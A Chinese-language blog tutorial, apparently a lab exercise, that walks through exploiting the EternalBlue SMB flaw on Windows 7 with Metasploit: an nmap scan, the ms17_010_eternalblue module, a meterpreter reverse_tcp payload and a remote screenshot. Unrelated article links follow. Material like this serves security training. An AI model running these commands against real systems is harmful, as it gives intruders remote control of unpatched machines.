白帽子黑客如何利用MSF对Win7进行永恒之蓝攻防演练
cac55 2024-12-14 10:13 21 浏览 0 评论
基础知识介绍：
1.何为永恒之蓝？
永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议？
SMB（全称是Server Message Block）是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。
攻击步骤：
一、确定攻击目标
1.1使用kali打开nmap扫描目标主机。
使用nmap执行命令 nmap -sS -A 192.168.17.149
-sS（使用SYN扫描）,-A(启用操作系统检测和版本检测)。
1.2根据我们的扫描结果可以大致判断该系统可能存在永恒之蓝漏洞。
二、攻击步骤
2.1执行命令msfconsole打开metasploit。
2.2执行命令 search ms17_010 查询我们所需要的攻击模块。
2.3找到我们需要的攻击模块后执行命令,
use exploit/windows/smb/ms17_010_eternalblue
2.4执行命令 search payload 查找我们需要的payload。
2.5接下来我们利用该payload
执行命令 set payload windows/x64/meterpreter/reverse_tcp。
2.6执行命令 show options 来查看我们所需要设置的参数。
其中RHOSTS（被攻击计算机IP）和LHOST（自己kali IP）是需要自己设置。
2.7执行命令：set LHOST 192.168.17.148，set RHOSTS 192.168.17.149即可。
2.8在设置好一切之后只需要执行命令 exploit 即可自动开始攻击。出现截图中的回显时就表示已经攻击成功了。
2.9我们只需要执行help即可查看我们能够执行哪些操作。
最后我们执行了 meterpreter > screenshot 对被攻击对象进行了屏幕截图测试。
相关推荐
- Linux服务器被黑客入侵后各排查项及排除步骤
-
Linux入侵排查0x00前言当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故...
- [常用工具] Python视频处理库VidGear使用指北
-
VidGear是一个高性能的Python视频处理库，它在预载多个专业视频图像处理库的基础上，如OpenCV、FFmpeg、ZeroMQ、picamera、starlette、yt_dlp、pyscre...
- 微信公众号自动回复及多客服功能实现
-
目录前期准备1、微信公众平台基本设置2、开发所需参数功能步骤1、填写服务器配置2、验证服务器地址的有效性3、依据接口文档实现业务逻辑具体实现1、微信接入2、自定义回复及多客服接入默认微信公众平台对公众...
- 电脑病毒怎么彻底清理?这3个方法可以解决!
-
案例：电脑中毒无法正常使用怎么办？怎么清理电脑病毒？如何彻底清除病毒？有没有小伙伴知道解决的方法？在使用电脑的过程中，我们经常会遇到电脑中病毒的情况，它们能够通过各种渠道感染你的计算机系统，给你带来许...
- 人在低谷落难的时候，一定要记住的4句话
-
凌晨三点在便利店啃面包时，我看见邻座大哥对着手机里的存款余额发呆，手指在屏幕上划了又划——原来成年人的崩溃，真的会藏在每个看似普通的深夜里。如果你也正在经历「人生断电期」，这10句从谷底爬起来的人总结...
- Linux环境Docker容器安装与使用(六)——安装Hadoop大数据集群
-
简介：Hadoop是一种分析和处理大数据的软件平台，是Appach开源软件的一个架构，在大量计算机组成的集群当中实现了对于海量的数据进行的分布式计算。Hadoop框架最核心的设计就是HDFS和MapR...
- (2023年最新)50个超实用电脑实用快捷键，提高操作效率10倍!
-
我们现在大多数工作都需要使用电脑，掌握简单的电脑知识，可以更好的提高操作效率，熟能生巧是没错，但还有一个方法就是使用快捷键。办公室文员必备技能知识；基本要求：打字快，会office办公软件（word文...
- 升级WIN10毛病多?解决这些问题，轻松应对!
-
1、win10网络不稳定①打开设置，进入网络和INTERNET。②在“WLAN页面”选择“管理Wi-Fi设置”。③在此页面上有个管理已知网络，里面记录着之前电脑连接过的无线网络连接，点击“连接名称”，...
- 史上最贱最贱的电脑病毒!（最致命的电脑病毒）
-
看了标题，有很多人是充满好奇心进来的，想看看有多贱！我可以郑重的告诉你，贱到你想掐死黑客！下面我给你介绍一下这个病毒是怎么个贱法！因为我亲身体验了一把！前几天我不知道怎么回事，我电脑莫名其妙多了几...
- 五千字长文全平台笔记软件obsidian同步攻略&图床使用教程
-
全平台笔记软件obsidianobsidian（黑曜石）是一个全平台的笔记软件，基础笔记功能免费，如果使用官方的同步功能好像是收费（我也不确定，因为我甚至没登陆过obsidian的账号）。可以使用ma...
- 工业自动化2.0演进:具有自我意识的运动控制
-
工业自动化领域的下一个发展方向要求机器能够独立调整其性能参数，以完成工厂操作人员分配的任务，或根据生产力增强的人工智能（AI）算法的输入，对机器自身重新配置以优化其行为。具有自我意识的机器的价值在于，...
- 零信任的时代到来!VPN将逐渐被取代
-
转自NETWORKWORLD，作者NealWeinberg，蓝色摩卡译，合作站点转载请注明原文译者和出处为超级盾！传统的VPN正在被一种更智能、更安全的网络安全方法所取代，这种方法将每个人都视为不受...
- 电脑键盘指法+常用快捷键文字及图片详解
-
图1：20190820（整理）(较全面的在后面)Ctrl+N:新建文档F4：重复上述操作Esc：取消当前操作HOME：光标跳转行首END:光标跳转到行尾WIN+L:锁定桌面WIN+E:开启磁...
- VPN正在消亡，零信任万岁
-
转自NETWORKWORLD，作者NealWeinberg，蓝色摩卡译，合作站点转载请注明原文译者和出处为超级盾！传统的VPN正在被一种更智能、更安全的网络安全方法所取代，这种方法将每个人都视为不受...
- Windows自带的「黑科技」工具，能让你少装10个软件!
-
电脑装了一堆软件，桌面却还是乱糟糟？其实Windows系统里藏着一堆“神器”，无需第三方工具就能搞定截图、录屏、OCR文字提取、系统加速……这7个冷门但逆天的内置工具，专治“软件成瘾症”，看完立马卸载...
欢迎 你 发表评论:
- 一周热门
- 最近发表
- 标签列表
-
- 如何绘制折线图 (52)
- javaabstract (48)
- 新浪微博头像 (53)
- grub4dos (66)
- s扫描器 (51)
- httpfile dll (48)
- ps实例教程 (55)
- taskmgr (51)
- s spline (61)
- vnc远程控制 (47)
- 数据丢失 (47)
- wbem (57)
- flac文件 (72)
- 网页制作基础教程 (53)
- 镜像文件刻录 (61)
- ug5 0软件免费下载 (78)
- debian下载 (53)
- ubuntu10 04 (60)
- web qq登录 (59)
- 笔记本变成无线路由 (52)
- flash player 11 4 (50)
- 右键菜单清理 (78)
- cuteftp 注册码 (57)
- ospf协议 (53)
- ms17 010 下载 (60)